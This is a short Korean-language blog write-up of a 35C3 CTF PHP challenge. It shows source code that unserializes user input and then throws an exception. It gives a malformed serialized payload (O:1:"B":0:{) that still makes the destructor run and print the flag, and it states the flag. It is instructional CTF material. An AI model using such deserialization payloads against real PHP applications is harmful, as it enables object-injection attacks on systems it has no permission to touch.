문제에서 제공해주는 소스를 확인해보면 다음과 같다.
<?php
$line = trim(fgets(STDIN));
$flag = file_get_contents('/flag');
class B {
function __destruct() {
global $flag;
echo $flag;
}
}
$a = @unserialize($line);
throw new Exception('Well that was unexpected…');
echo $a;
간단히 B 클래스의 serialize된 데이터를 넣어주면 될 것 같은데 unserialize 후 강제로 익셉션을 발생시키는 코드 때문에 __destruct 메소드가 호출되지 않았다.
로컬에서 이것저것 테스트해보다가 직렬화된 데이터를 비정상적으로 조작해서 요청하니 다음과 같이 역직렬화 후 __destruct가 호출되는걸 볼 수 있었다.
요대로 문제 서버에 요청해보니 플래그가 나왔다.
payload = O:1:"B":0:{
Flag = 35C3_php_is_fun_php_is_fun
'CTF > Writeup' 카테고리의 다른 글
ROOT CTF 2018 ROOT_Process_2 (0) | 2018.12.30 |
---|---|
ROOT CTF 2018 ROOT_Process_1 (0) | 2018.12.30 |
Codegate 2014 clone technique (1) | 2018.12.29 |
X-MAS CTF 2018 Web Write up (0) | 2018.12.24 |
hwp CTF 2018 unpack0r (0) | 2018.12.10 |